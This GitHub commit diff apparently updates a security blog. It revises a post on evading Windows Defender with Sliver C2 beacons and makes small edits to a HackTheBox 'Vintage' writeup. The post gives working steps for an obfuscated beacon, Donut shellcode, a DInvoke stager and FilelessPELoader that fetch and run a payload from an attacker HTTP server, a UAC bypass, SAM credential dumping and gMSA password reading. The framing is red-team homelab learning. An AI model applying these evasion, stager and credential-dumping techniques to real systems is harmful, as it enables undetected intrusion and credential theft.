Skip to content

Commit d9d1992

Browse files
committed
Updated Sliver post
1 parent ee003f0 commit d9d1992

2 files changed

Lines changed: 98 additions & 51 deletions

File tree

blog/sliver-evasion.md

Lines changed: 96 additions & 49 deletions
Original file line numberDiff line numberDiff line change
@@ -10,19 +10,81 @@ categories: ['Maldev', 'Windows', 'Homelab']
1010

1111
# Sliver C2
1212

13-
Recently I have been playing around with [Sliver](https://github.com/BishopFox/sliver) from BishopFox as a C2 framework. After using it for some time and executing several beacon payloads on my Windows VM, I noticed that the beacons instantly get dropped by Windows Defender. In order to improve my Red Teaming skills, I was interested in finding ways to bypass some general anti-virus software like Windows Defender. In this post I will take you through the process of using [DInvoke](https://github.com/Kara-4search/DInvoke_shellcodeload_CSharp/tree/main) as a shellcode injecter. I will also showcase how we can make a PE loader to inject code into memory, together with some common obfuscation techniques.
13+
My recent exploration into C2 frameworks led me to BishopFox's [Sliver](https://github.com/BishopFox/sliver). While its capabilities are impressive, I quickly encountered a common challenge: Windows Defender's swift detection of beacon payloads on my Windows VM. In order to enhance my evasion skills, this post details my process in leveraging [DInvoke](https://github.com/Kara-4search/DInvoke_shellcodeload_CSharp/tree/main) and [FilelessPELoader](https://github.com/SaadAhla/FilelessPELoader) for building my own Sliver stager, complemented by practical obfuscation strategies.
1414

15-
## DInvoke Shellcode Loader (.NET)
16-
In recent years, more and more tools are coded in C# or ported from PowerShell. One of the features of C# is its ability to call the Win32 API and interact with low-level functions just like you would in C or C++.
15+
## Shellcode Loader
16+
A shellcode loader is a small piece of executable code designed to load and execute a larger payload (the actual shellcode) into a target process's memory. Think of it as the initial delivery mechanism. Shellcode loaders are crucial for techniques like process injection, allowing attackers to run arbitrary code within a legitimate process, often bypassing traditional security controls that focus on executable files on disk.
1717

18-
To build a shellcode loader, I decided to make use of DInvoke by [TheWover](https://github.com/TheWover). Using DInvoke, we can use Dynamic Invocation to load unmanaged code via DLLs at runtime (unlike PInvoke). This can help us avoiding API Hooking by calling arbitrary code from memory, while also avoiding detections that look for imports of suspicious API calls via the Import Address Table. For more information about the DInvoke project, be sure to read [TheWover's blog post](https://thewover.github.io/Dynamic-Invoke/) where he demonstrates how the project works.
18+
This loader will act as a **stage 1** payload (stager). Its primary purpose is to establish communication with a command and control (C2) server and download the larger, more feature-rich **stage 2** payload. The stage 2 payload is the main malicious code that we as an attacker intend to execute on the target system, which in our case is a Sliver beacon.
1919

20-
In order to make use of DInvoke as a shellcode loader, I made a few modifications to an existing project of [Kara-4search](https://github.com/Kara-4search/DInvoke_shellcodeload_CSharp/tree/main). I changed the original code in order to download my shellcode from a web server and then load it into memory. The applied changes can be seen below.
20+
The goal is to create a stager with the following properties:
21+
1. Natively supported by Windows.
22+
2. Bypass common defenses found on modern operating systems.
23+
3. Use commonly whitelisted protocols in order to bypass firewall rules and fit in with normal traffic.
24+
25+
## Sliver Setup
26+
27+
!!!info Note
28+
For more information on installing and using Sliver, see the [official wiki](https://sliver.sh/docs?name=Linux+Install+Script).
29+
!!!
30+
31+
From Sliver v1.5 you can make extensive customizations to the HTTP C2 traffic generated by the server and implant by modifying the HTTP C2 configuration file, which by default is located at `~/.sliver/configs/http-c2.json`. To be able to blend in more with normal traffic, we can make modifications to this file.
32+
33+
Next, we can generate our HTTPS beacon shellcode with basic obfuscation features enabled.
34+
35+
```console
36+
$ sudo ./sliver-server_linux
37+
[server] sliver > generate beacon -b https://192.168.129.40 -e -f shellcode -N rev --seconds 30 --jitter 3 --os windows -s /tmp
38+
39+
[*] Generating new windows/amd64 beacon implant binary (30s)
40+
[*] Symbol obfuscation is enabled
41+
[*] Build completed in 10s
42+
[*] Encoding shellcode with shikata ga nai ... success!
43+
[*] Implant saved to /tmp/rev.bin
44+
```
45+
46+
This command will save the shellcode for our Sliver beacon in `/tmp/rev.bin`. If you don't want to generate the shellcode within Sliver, we can also generate an executable directly and use an mTLS listener.
47+
48+
![Generating a Sliver beacon and listener](/assets/images/maldev/sliver-setup.png)
49+
50+
In order to better evade detection, we can convert the executable to a `.bin` file with [Donut](https://github.com/TheWover/donut). Donut is a tool focused on creating binary shellcodes that can be executed in memory. Its primary strength lies in its ability to convert executables (.exe), dynamic-link libraries (.dll), .NET assemblies, VBScript, and JScript into shellcode. This shellcode can then be injected into a running process, allowing for fileless execution of malicious payloads. I'll use Donut with the `-b 1` flag to not add AMSI bypass and the `-e 3` flag for encryption.
51+
52+
```console
53+
$ ./donut -b 1 -e 3 -o rev.bin -i /tmp/ESSENTIAL_THEATER.exe
54+
55+
[ Donut shellcode generator v1 (built Dec 26 2024 11:15:37)
56+
[ Copyright (c) 2019-2021 TheWover, Odzhan
57+
58+
[ Instance type : Embedded
59+
[ Module file : "/tmp/ESSENTIAL_THEATER.exe"
60+
[ Entropy : Random names + Encryption
61+
[ File type : EXE
62+
[ Target CPU : x86+amd64
63+
[ AMSI/WDLP/ETW : none
64+
[ PE Headers : overwrite
65+
[ Shellcode : "rev.bin"
66+
[ Exit : Thread
67+
68+
$ cp rev.bin /tmp/rev.bin
69+
```
70+
71+
The idea is that our stager will grab this binary file and execute it in memory. We can use an existing PE Loader to perform Process Injection into a target process by downloading/invoking remotely hosted shellcode. However, as a learning experience I wanted to create my own loaders.
72+
73+
## Method 1: DInvoke Stager (.NET)
74+
Lately, we've seen a growing trend where security tools are being developed in C# or adapted from PowerShell scripts. An advantage of C# is its capability to directly interact with the Windows operating system's core functions, known as the Win32 API. This low-level interaction is similar to what's possible with C or C++ programs.
75+
76+
To build our stager, I decided to make use of DInvoke by [TheWover](https://github.com/TheWover). Using DInvoke, we can use Dynamic Invocation to load unmanaged code via DLLs at runtime. The traditional way (using PInvoke) involves the program declaring beforehand which functions it will use, and the operating system helps to link them up. Dynamic Invocation, on the other hand, looks up the address of a function in memory at the exact moment you need it, rather than declaring it beforehand. This makes it harder for analysis since traditional tools will monitor these pre-declared links to see what the program is doing.
77+
78+
DInvoke helps us to avoid API Hooking by calling arbitrary code from memory, while also avoiding detections that look for imports of suspicious API calls via the Import Address Table. For more information about the DInvoke project, be sure to read [TheWover's blog post](https://thewover.github.io/Dynamic-Invoke/) where he demonstrates how the project works.
79+
80+
In order to make use of DInvoke as a shellcode loader, I made a few modifications to an existing project of [Kara-4search](https://github.com/Kara-4search/DInvoke_shellcodeload_CSharp/tree/main). I changed the original code in order to download the shellcode from a web server and then load it into memory. The applied changes can be seen below.
2181

2282
![DInvoke Loader](/assets/images/maldev/DInvoke-Loader-1.png)
2383

2484
### Obfuscation with InvisibilityCloak
25-
With our modifications in place, we can save the project and perform some code obfuscation. The [InvisibilityCloak](https://github.com/h4wkst3r/InvisibilityCloak) project serves as an easy-to-use obfuscation toolkit that allows for some quick modifications to your project. This includes things like changing the project name, project GUID, applying string obfuscation, removing comments and removing program database (PDB) strings. Just clone the project, compile the binary and run the following command in order to rename the project and apply string reversing as the obfuscation method.
85+
After making those minor adjustments to the shellcode loader, the next step is to make it harder to get detected by traditional Anti-Virus. We can do this by using a technique called code obfuscation. The [InvisibilityCloak](https://github.com/h4wkst3r/InvisibilityCloak) provides a user-friendly set of tools to quickly make these kinds of modifications to your project. This toolkit can perform actions such as renaming the project files, changing its unique identifier (GUID), scrambling the text strings within the code, removing any developer comments, and stripping out debugging information stored in program database (PDB) files.
86+
87+
Clone the project, compile the binary and run the command below in order to rename the project and apply string reversing as the obfuscation method.
2688

2789
```console
2890
C:\Tools\Python\InvisibilityCloak> python.exe InvisibilityCloak.py -d C:\Tools\DInvoke_Loader\DInvoke_shellcodeload -n "s3rp3nt" -m reverse
@@ -86,12 +148,16 @@ C:\Tools\ThreatCheck\bin\Release> ThreatCheck.exe -f C:\Tools\s3rp3ntLoader.exe
86148
[+] No threat found!
87149
```
88150

89-
No threats have been found!
151+
No threats have been found! Our first loader looks good to go.
90152

91-
## FilelessPELoader (C++)
92-
One downside of using DInvoke is that it requires .NET to be installed on the host to be able to execute our loader because of the CLR. This means that we need to write our application in another language like C++. At this point I don't feel like rewriting the whole project in C++ so I will make use of another way.
153+
## Method 2: FilelessPELoader (C++)
154+
DInvoke, while powerful for direct system calls, requires the .NET Common Language Runtime (CLR) to be present on the system, increasing dependencies and potentially raising detection flags. This .NET dependency also necessitates writing loaders in C# or bridging the language gap if your main payload is in another language.
93155

94-
Another technique that can be used is to load an encrypted version of our shellcode in memory, decrypt it and execute it. To do this, we can make use of the [FilelessPELoader](https://github.com/SaadAhla/FilelessPELoader) project and again do some obfuscation on the original code. Since this is not a C# project, we cannot use InvisibilityCloak to do the obfuscation, so we will do it manually this time. Again we can use either DefenderCheck or ThreatCheck to see if our executable is good to go. Let's first clone the project and compile our binary without any modifications.
156+
Switching to native code, like C++, eliminates the .NET dependency, resulting in a smaller footprint and potentially different evasion characteristics. [FilelessPELoader](https://github.com/SaadAhla/FilelessPELoader) exemplifies this approach by enabling the loading and execution of PE files directly from memory, avoiding disk writes, while encrypting the shellcode in memory further enhances obfuscation.
157+
158+
In order to do all this, we cannot make use of InvisibilityCloak as we did earlier. We will need to make our hands dirty and use manual techniques. These include string encryption, control flow obfuscation, instruction substitution, and anti-analysis measures. Again we can use either DefenderCheck or ThreatCheck to see if our executable would get picked up by AV.
159+
160+
Let's first clone the project and compile our binary without any modifications.
95161

96162
![FilelessPELoader](/assets/images/maldev/FilelessPELoader-1.png)
97163

@@ -102,67 +168,48 @@ From the above output, we can see that ThreatCheck has identified some bad bytes
102168
The project comes with a custom `aes.py` script that can be used to encrypt any file we want. The idea is that our loader will fetch the encrypted binary (`cipher.bin`) together with a key (`key.bin`) in order to decrypt it.
103169

104170
```console
105-
$ python3 aes.py malicious_file.exe
171+
$ python3 aes.py ESSENTIAL_THEATER.exe
106172
$ ls
107-
aes.py cipher.bin key.bin malicious_file.exe
173+
aes.py cipher.bin key.bin ESSENTIAL_THEATER.exe
108174
```
109175

110176
The generated files `cipher.bin` and `key.bin` can be passed to our loader as arguments. In the next section we will have a look at how we can make use of our loaders.
111177

112178
## Sliver in Action
113-
### Shellcode Generation
114-
Moving to our attack machine, we will create shellcode for a Sliver beacon. Start Sliver, generate a mTLS beacon targeting your IP and save it to a directory of your choosing. Next we start the mTLS listener.
115-
116-
![Sliver Setup](/assets/images/maldev/sliver-setup.png)
117-
118-
In order to better evade detection, we now convert the executable to a `.bin` file with [Donut](https://github.com/TheWover/donut). Donut is a tool focused on creating binary shellcodes that can be executed in memory. It will generate a shellcode of a .NET binary, which can be executed via the execute-shellcode argument in Sliver. I'll use Donut with the `-b 1` flag to not add AMSI bypass and the `-e 3` flag for encryption.
179+
Moving to our attack machine, we run our Python HTTP server where our shellcode is located.
119180

120181
```console
121-
$ ./donut -b 1 -e 3 -o rev.bin -i /tmp/ESSENTIAL_THEATER.exe
122-
123-
[ Donut shellcode generator v1 (built Dec 26 2024 11:15:37)
124-
[ Copyright (c) 2019-2021 TheWover, Odzhan
125-
126-
[ Instance type : Embedded
127-
[ Module file : "/tmp/ESSENTIAL_THEATER.exe"
128-
[ Entropy : Random names + Encryption
129-
[ File type : EXE
130-
[ Target CPU : x86+amd64
131-
[ AMSI/WDLP/ETW : none
132-
[ PE Headers : overwrite
133-
[ Shellcode : "rev.bin"
134-
[ Exit : Thread
135-
```
136-
137-
Lets copy all files to the `/tmp` directory and run our Python HTTP server.
138-
139-
```console
140-
$ cp rev.bin /tmp/rev.bin
141-
$ python3 -m http.server 8080
182+
$ cd /tmp && python3 -m http.server 8080
142183
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
143184
```
144185

145-
### Payload Execution
146-
Now with everything set lets try to get a beacon from our victim machine (`172.16.0.5`).
186+
### DInvoke Execution
187+
Now with everything set lets try to get a beacon from our victim machine (`172.16.0.5`). We will first make use of our **DInvoke Loader**.
147188

148-
![Sliver Execution](/assets/images/maldev/sliver-execution.png)
189+
![Sliver DInvoke Loader](/assets/images/maldev/sliver-execution.png)
149190

150-
After executing our custom shellcode loader, we can see it has grabbed our beacon from our Python server, loaded our shellcode in memory and we received a connection from our server without alerting Windows Defender. You see that I get a couple of beacon connections, because I rand the executable a couple of times.
191+
After executing our custom shellcode loader, we can see it has grabbed our beacon file from our Python server (`rev.bin`), loaded the shellcode in memory and connected to our server without alerting Windows Defender. You see that I get a couple of beacon connections, because I ran the executable a couple of times.
151192

152-
Now we can also try running our modified FilelessPELoader executable.
193+
### FilelessPELoader Execution
194+
Now we can also try running our modified **FilelessPELoader** executable.
195+
196+
!!!info Note
197+
Don't forget to specify the IP and PORT as well as the encrypted payload and key files as arguments.
198+
!!!
153199

154200
```console
155201
$ python3 aes.py beacon.exe
156202
$ python3 -m http.server 8080
157203
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
204+
205+
PS C:\> .\FilelessPELoader.exe 192.168.129.40 8080 cipher.bin key.bin
158206
```
159207

160208
![Sliver FilelessPELoader](/assets/images/maldev/sliver-FilelessPELoader.png)
161209

162-
We can now even go a step further and escalate privileges on the victim.
163-
164210
### Privilege Escalation
165-
Use one of the beacons and run `sa-whoami`. This will run a `whoami /all` in a more safe way.
211+
Since we now have an active beacon on our target, we can even go a step further and escalate privileges on the host.
212+
Use one of the beacons and run `sa-whoami` (installed via armory). This will run a `whoami /all` in a more safe way.
166213

167214
```console
168215
[server] sliver (ESSENTIAL_THEATER) > sa-whoami
@@ -214,14 +261,14 @@ $ git clone https://github.com/icyguider/UAC-BOF-Bonanza.git
214261
$ cp UAC-BOF-Bonanza/CmstpElevatedCOM/ /home/s3rp3nt/.sliver-client/extensions/
215262
```
216263

217-
The above UAC Bypass creates an elevated `ICMLuaUtil COM` object and calls its ShellExec function to execute the provided file on disk. If it is the first time using these custom extension, restart yuor Sliver server. We can now run the `CmstpElevatedCom` task from within our beacon that executes our loader.
264+
The above UAC Bypass creates an elevated `ICMLuaUtil COM` object and calls its ShellExec function to execute the provided file on disk. If it is the first time using these custom extension, restart the Sliver server. We can now run the `CmstpElevatedCom` task from within our beacon that executes our loader.
218265

219266
![Sliver Privesc](/assets/images/maldev/sliver-privesc.png)
220267

221268
This will launch another beacon process running as Administrator. With these privileges we can try to dump all credentials from LSASS. To stay stealthy, let's use [SharpSAMDump](https://github.com/jojonas/SharpSAMDump).
222269

223270
```console
224-
[server] sliver (ESSENTIAL_THEATER) > execute-assembly -i /home/s3rp3nt/Tools/Windows/SharpSAMDump.exe
271+
[server] sliver (ESSENTIAL_THEATER) > execute-assembly -P 7048 -p 'C:\Windows\System32\taskhostw.exe' -t 80 -i /home/s3rp3nt/Tools/Windows/SharpSAMDump.exe
225272

226273
[*] Tasked beacon ESSENTIAL_THEATER (c4af87ff)
227274

writeups/HackTheBox/Machines/vintage.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -94,7 +94,7 @@ L.Bianchi_adm
9494
```
9595

9696
### Kerberos Authentication
97-
After using some common queries over ldap, I decided to retry using NetExec with the `-k` flag which uses Kerberos as authentication protocol instead of NTLM (default).
97+
After using some common queries over ldap, I decided to retry using NetExec with the `-k` flag which uses Kerberos as authentication protocol instead of NTLM (default). When dealing with Kerberos, you generally don't want to use IP addresses and use hostnames instead.
9898

9999
```console
100100
$ nxc smb dc01.vintage.htb -u P.Rosa -p Rosaisbest123 -k --shares
@@ -154,7 +154,7 @@ We managed to save the machine's TGT meaning this is indeed a valid password. Lo
154154
![](/assets/images/writeups/vintage/BH-FS01.png)
155155

156156
### ReadGMSAPassword Abuse
157-
There are several methods we can use to read this password, but the easiest method is to use `BloodyAD.py`. Again we need to do our authentication over Kerberos by using the TGT of `FS01$`.
157+
There are several methods we can use to read this password, but the easiest method is to use `BloodyAD`. Again we need to do our authentication over Kerberos by using the TGT of `FS01$`.
158158

159159
```console
160160
$ bloodyAD -k ccache=FS01$.ccache --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 get object 'GMSA01$' --attr msDS-ManagedPassword

0 commit comments

Comments
 (0)